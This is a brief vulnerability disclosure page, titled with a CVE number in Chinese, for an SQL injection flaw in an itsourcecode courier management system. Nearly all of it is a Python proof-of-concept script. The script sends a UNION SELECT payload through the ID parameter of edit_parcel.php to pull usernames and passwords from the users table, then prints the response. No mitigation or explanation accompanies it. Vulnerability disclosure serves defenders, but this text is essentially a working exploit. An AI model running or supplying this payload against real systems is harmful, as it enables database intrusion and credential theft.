CVE-2026-7077: itsourcecode快递管理系统SQL注入漏洞

import requests # Target URL (Replace with actual target) target_url = "http://target-host/edit_parcel.php" # Malicious payload to test SQL Injection # This payload attempts to manipulate the SQL query logic payload = "1' UNION SELECT NULL, NULL, username, password FROM users-- -" # Send GET request with the injected parameter try: response = requests.get(target_url, params={"ID": payload}) # Check if the request was successful if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content:") print(response.text[:500]) # Print first 500 chars for analysis else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")